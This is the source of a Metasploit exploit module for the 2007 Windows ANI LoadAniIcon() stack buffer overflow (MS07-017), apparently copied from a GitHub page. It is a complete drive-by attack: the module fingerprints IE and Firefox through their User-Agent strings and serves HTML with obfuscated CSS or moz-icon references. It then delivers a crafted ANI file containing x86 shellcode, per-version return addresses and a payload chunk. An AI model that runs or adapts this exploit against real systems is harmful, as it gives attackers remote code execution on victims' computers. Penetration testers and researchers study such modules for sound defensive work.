/
ms07_017_ani_loadimage_chunksize.rb
528 lines (419 loc) · 14.5 KB
/
ms07_017_ani_loadimage_chunksize.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RIFF
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)',
'Description' => %q{
This module exploits a buffer overflow vulnerability in the
LoadAniIcon() function in USER32.dll. The flaw can be triggered through
Internet Explorer 6 and 7 by using the CURSOR style sheet directive
to load a malicious .ANI file. The module can also exploit Mozilla
Firefox by using a UNC path in a moz-icon URL and serving the .ANI file
over WebDAV. The vulnerable code in USER32.dll will catch any
exceptions that occur while the invalid cursor is loaded, causing the
exploit to silently fail when the wrong target has been chosen.
This vulnerability was discovered by Alexander Sotirov of Determina
and was rediscovered, in the wild, by McAfee.
},
'Author' =>
[
'hdm', # First version
'skape', # Vista support
# Firefox support, OS language independence, improved reliability
'Solar Eclipse <solareclipse[at]phreedom.org>'
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2007-0038'],
['OSVDB', '33629'],
['BID', '23194'],
['MSB', 'MS07-017'],
['URL', 'https://docs.microsoft.com/en-us/security-updates/securitybulletins/2007/ms07-017']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024 + (rand(1000)),
'Compat' =>
{
'ConnectionType' => '-find',
}
},
'Platform' => 'win',
# Automatic target tested on:
#
# Windows NT SP6 + IE6 SP1
# Windows 2000 SP4 + IE6 SP1
# Windows 2000 SP4 UR1 + IE6 SP1
# Windows XP SP0
# Windows XP SP1
# Windows XP SP2
# Windows XP SP2 + IE7
# Windows 2003 SP0
# Windows 2003 SP1
# Windows 2003 SP1 + IE7
# Windows Vista
#
# Windows XP SP0 + Firebird 0.7
# Windows XP SP0 + Firefox 1.0
# Windows XP SP0 + Firefox 1.5
# Windows XP SP2 + Firefox 2.0
# Windows 2003 SP1 + Firefox 2.0
# Windows Vista + Firefox 2.0
'Targets' =>
[
[ '(Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista',
{
'Method' => 'automatic'
}
],
[ 'IE6 on Windows NT, 2000, XP, 2003 (all languages)',
{
'Method' => 'jmpesp',
'Ret1' => 0x0040afff, # jmp esp on NT, 2000, XP, 2003 SP0 (iexplore.exe)
'Ret2' => 0x004090df # jmp esp on 2003 SP1, SP2 (iexplore.exe)
}
],
[ 'IE7 on Windows XP SP2, 2003 SP1, SP2 (all languages)',
{
'Method' => 'jmpesp',
'Ret1' => 0x00420B45, # jmp esp on XP SP2 (iexplore.exe)
'Ret2' => 0x00420B45 # jmp esp on 2003 SP1, SP2 (iexplore.exe)
}
],
[ 'IE7 and Firefox on Windows Vista (all languages)',
{
'Method' => 'partial',
'Ret' => 0x700B # we change user32.dll+5879 to user32.dll+700B (jmp [ebx] in user32.dll)
}
],
[ 'Firefox on Windows XP (English)',
{
'Method' => 'jmpesp',
'Ret1' => 0x77059E48, # jmp esp on XP (comres.dll)
'Ret2' => 0x77019668 # jmp esp on 2003 SP1, SP2 (comres.dll)
}
],
[ 'Firefox on Windows 2003 (English)',
{
'Method' => 'jmpesp',
'Ret1' => 0x77019668, # jmp esp on 2003 SP0 (comres.dll)
'Ret2' => 0x77019668 # jmp esp on 2003 SP1, SP2 (comres.dll)
}
],
],
'DisclosureDate' => 'Mar 28 2007',
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
])
end
#
# Handle HTTP requests
#
def on_request_uri(cli, request)
#
# Automatic browser and OS detection
#
print_status("Attempting to exploit ani_loadimage_chunksize")
browser = ''
if target['Method'] == 'automatic'
agent = request.headers['User-Agent']
# Check for Firefox requests
if agent =~ /(Gecko|Microsoft-WebDAV-MiniRedir)/
browser = 'Mozilla'
# WebDAV requires that we use port 80 and the URIPATH is '/'
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
print_status("Request received from Mozilla. To exploit Mozilla browsers, SRVPORT must be set to 80 and URIPATH must be '/'")
cli.send_response(create_response(404, "File not found"))
return
end
if agent =~ /(Windows NT 6\.0|MiniRedir\/6\.0)/
target = targets[3] # Firefox on Vista
elsif agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/
target = targets[4] # Firefox on XP
elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/
target = targets[5] # Firefox on 2003
else
print_status("Unknown User-Agent #{agent}")
return
end
# Check for MSIE requests
elsif agent =~ /MSIE/
browser = 'IE'
if agent =~ /Windows NT 6\.0/
target = targets[3] # IE7 on Vista
elsif agent =~ /MSIE 7\.0/
target = targets[2] # IE7 on XP and 2003
elsif agent =~ /MSIE 6\.0/
target = targets[1] # IE6 on NT, 2000, XP and 2003
else
print_status("Unknown User-Agent #{agent}")
return
end
# Unknown user agent
else
print_status("Unknown User-Agent #{agent}")
return
end
end
#
# Find out if this is a request for an ANI file
#
# Mozilla always uses a .ani extension, but IE randomly picks one of the
# other extensions for the ANI request
exts = ['bmp', 'wav', 'png', 'zip', 'tar', 'ani']
ani_request = false
match = /\.(...)$/.match(request.uri)
if match and exts.include?(match[1])
ani_request = true
end
#
# OPTIONS and PROPFIND requests sent by the WebDav Mini-Redirector
#
if request.method == 'OPTIONS'
print_status("Received WebDAV OPTIONS request")
headers = {
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Public' => 'OPTIONS, GET, PROPFIND',
'Allow' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
return
end
if request.method == 'PROPFIND'
print_status("Received WebDAV PROPFIND request")
body = ''
if (not ani_request)
# Response for directories
body = '<?xml version="1.0"?><a:multistatus xmlns:a="DAV:"><a:response><a:propstat><a:prop><a:resourcetype><a:collection/></a:resourcetype></a:prop></a:propstat></a:response></a:multistatus>'
else
# Response for files
body = '<?xml version="1.0"?><a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:"><a:response></a:response></a:multistatus>'
end
send_response(cli, body, {'Content-Type' => 'text/xml'})
return
end
#
# HTML requests sent by IE and Firefox
#
if (not ani_request)
# Pick a random extension to use when we generate HTML. The moz-icon URL
# must have a .ani extension, but we can use a random one for IE
exts.delete('ani')
ext = exts[rand(exts.length)]
# Generate the HTML
html =
"<html>" +
"<head><title>" + random_padding + "</title></head>" +
"<body>" +
random_padding +
(browser == 'IE' ? generate_ie_html(ext) : generate_mozilla_html) +
random_padding +
"</body>" +
"</html>"
print_status("Sending HTML page")
send_response(cli, html)
return
end
#
# ANI requests sent by IE and the WebDav Mini-Redirector
#
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending #{self.name}")
# Transmit the compressed response to the client
send_response(cli, generate_ani(p, target), { 'Content-Type' => 'application/octet-stream' })
end
#
# Generate a <div> element with a style attribute referencing the ANI file
#
def generate_ie_html(ext)
path = get_resource.sub(/\/$/, '')
"<div style='" +
random_css_padding +
Rex::Text.to_rand_case("cursor") +
random_css_padding +
":" +
random_css_padding +
Rex::Text.to_rand_case("url(") +
random_css_padding +
'"' +
path + '/' + rand_text_alphanumeric(rand(80)+16) + '.' + ext +
'"' +
random_css_padding +
");" +
random_css_padding +
"'>" +
random_padding +
"</div>"
end
#
# Generate a img tag with a moz-icon URL referencing the ANI file
#
def generate_mozilla_html
path = get_resource.gsub(/\/$/, '')
# The UNC path of the ANI file must have at least one directory level,
# otherwise the WebDAV redirector will not work
if path == ''
path = '/' + rand_text_alphanumeric(rand(80)+16)
end
return '<img src="moz-icon:file://///' +
datastore['SRVHOST'] +
path + '/' + rand_text_alphanumeric(rand(80)+16) + '.ani">'
end
#
# Generate CSS padding
#
def random_css_padding
buf =
random_whitespace +
"/*" +
random_whitespace +
random_padding +
random_whitespace +
"*/" +
random_whitespace
end
#
# Generate random whitespace
#
def random_whitespace
len = rand(100)+2
set = "\x09\x20\x0d\x0a"
buf = ''
while (buf.length < len)
buf << set[rand(set.length)].chr
end
buf
end
#
# Generate random padding
#
def random_padding
rand_text_alphanumeric(rand(128)+4)
end
#
# Generate an ANI file that will trigger the vulnerability
#
def generate_ani(payload, target)
# Valid ANI header
header = [
36, # cbSizeOf (must be 36)
rand(128)+16, # cFrames (must be > 1 and < 0x10000)
rand(1024)+1, # cSteps (must be < 0x10000)
0, 0, # cx, cy
0, # cBitCount
0, # cPlanes
0, # JifRate
1 # Flags (must have the LSB bit set)
].pack('V9')
overflow = ''
if target['Method'] == 'jmpesp'
# ANI header that triggers the overflow:
overflow =
# 36 bytes of fake header
# When we get control, the ebx and esi registers have the following values:
#
# 2000, XP, 2003 before MS05-002
# ebx = 0, esi = pointer to MappedFile struct
#
# NT before MS05-002
# ebx = pointer to dword 1, esi = pointer to MappedFile struct
#
# all versions after MS05-002, including XP SP2 and 2003 SP1
# ebx = pointer to MappedFile struct
#
# The first field in MappedFile is a pointer to the ANI file
"\x85\xDB" + # test ebx,ebx
"\x74\x0A" + # jz jmp_esi 2000, XP, 2003 before MS05-002
"\x81\x3B\x01\x00\x00\x00" + # cmp dword [ebx], 0x1
"\x74\x02" + # jz jmp_esi NT before MS05-002
"\x89\xDE" + # mov esi, ebx all versions after MS05-002
# jmp_esi:
"\x8B\x36" + # mov esi,[esi] pointer to ANI file
"\x81\x3E\x52\x49\x46\x46" + # cmp [esi], 'RIFF'
"\x75\x02" + # jnz failed
"\xFF\xE6" + # jmp esi
# failed:
"\x31\xc0" + # xor eax, eax
"\x8b\x00" + # mov eax, [0] exit via SEH
rand_text(2) +
"\x00\x00\x00\x00" + # header flags (LSB bit must be set to 0)
# end of header
rand_text(4*6) + # local variables
# The following local variables must be NULL to avoid calls to
# HeapFree and NtUserDestroyCursor
# 2000, XP, 2003 SP0 2003 SP1
"\x00\x00\x00\x00" + # var_10
"\x00\x00\x00\x00" + # var_C
"\x00\x00\x00\x00" + # var_C
"\x00\x00\x00\x00" + # var_8
"\x00\x00\x00\x00" + # var_4
[
target['Ret1'], # return address for NT, 2000, XP and 2003 SP0
target['Ret2'] # return address for 2003 SP1
].pack('VV') +
rand_text(4*4) + # function arguments
"\x90\x90\x90\x90" + # jmp esp on NT, 2000, XP and 2003 SP0 lands
# here, 2003 SP1 lands on the next dword
"\xeb\x92" # jump back to the shellcode in the ANI header
elsif target['Method'] == 'partial'
# ANI header that triggers the overflow:
overflow =
# 36 bytes of fake header
rand_text(32) +
"\x00\x00\x00\x00" + # header flags (LSB bit must be set to 0)
# end of header
rand_text(4*8) + # local variables
# The following local variables must be NULL to avoid calls to
# HeapFree and NtUserDestroyCursor on Vista
"\x00\x00\x00\x00" + # var_C
"\x00\x00\x00\x00" + # var_8
"\x00\x00\x00\x00" + # var_4
rand_text(4) + # saved ebp
[
target['Ret'], # 2 byte partial overwrite of the return address
].pack('v')
else
fail_with(Failure::NoTarget, "Unknown target #{target['Method']}")
end
# Build the ANI file
# The shellcode execution begins at the RIFF signature:
#
# 'R' 52 push edx
# 'I' 49 dec ecx
# 'F' 46 inc esi
# 'F' 46 inc esi
# eb 3a jmp +3a # jmp to the code in the payload chunk
ani =
"RIFF" + "\xeb\x3a\x00\x00" +
"ACON" +
riff_chunk("anih", header) +
# payload chunk
riff_chunk(random_riff_tag,
Rex::Arch::X86.copy_to_stack(payload.encoded.length) +
payload.encoded) +
random_riff_chunks +
# the second anih chunk trigger the overflow
riff_chunk("anih", overflow) +
random_riff_chunks
return ani
end
end